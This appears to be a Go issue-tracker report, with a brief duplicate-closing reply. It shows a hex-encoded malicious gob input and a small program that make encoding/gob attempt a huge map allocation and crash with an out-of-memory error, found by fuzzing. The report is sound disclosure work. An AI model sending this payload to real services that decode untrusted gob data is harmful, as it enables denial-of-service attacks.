encoding/gob: crash on malicious input

[dvyukov]

go version devel +b61b1d2c57 Sun Mar 18 16:53:53 2018 +0000 linux/amd64

package main

import (
	"bytes"
	"encoding/gob"
	"encoding/hex"
)

const data = "4dffb503010102303001ff30000109010130010800010130010800010130" +
	"01ffb80001014a01ffb60001014b01ff860001013001ff860001013001ff" +
	"860001013001ff860001013001ffb80000001eff850401010e3030303030" +
	"30303030303030303001ff3000010c0104000016ffb70201010830303030" +
	"3030303001ff3000010c000030ffb6040405fcff00303030303030303030" +
	"303030303030303030303030303030303030303030303030303030303030" +
	"303030303030303030303030303030303030303030303030303030303030" +
	"30303030303030"

type X struct {
	J *X
	K map[string]int
}

func main() {
	raw, _ := hex.DecodeString(data)
	gob.NewDecoder(bytes.NewReader(raw)).Decode(new(X))
}

crashes with:

  fatal error: runtime: out of memory
  
  goroutine 1 [running]:
  runtime.mallocgc(0x3740000000, ...)
  	runtime/malloc.go:895
  runtime.newarray(..., 0x44000000, ...)
  	runtime/malloc.go:1030
  reflect.MakeMapWithSize(..., 0xff003030, ...)
  	reflect/value.go:2136
  encoding/gob.(*Decoder).decodeMap(...)
  	encoding/gob/decode.go:562
  encoding/gob.(*Decoder).decodeStruct(...)
  	encoding/gob/decode.go:471
  encoding/gob.(*Decoder).Decode(...)
  	encoding/gob/decoder.go:187
  main.main()
  	gob.go:26

Found with go-fuzz. #19109

[mvdan]

Duplicate of #24308 - it's the same reflect.MakeMapWithSize story.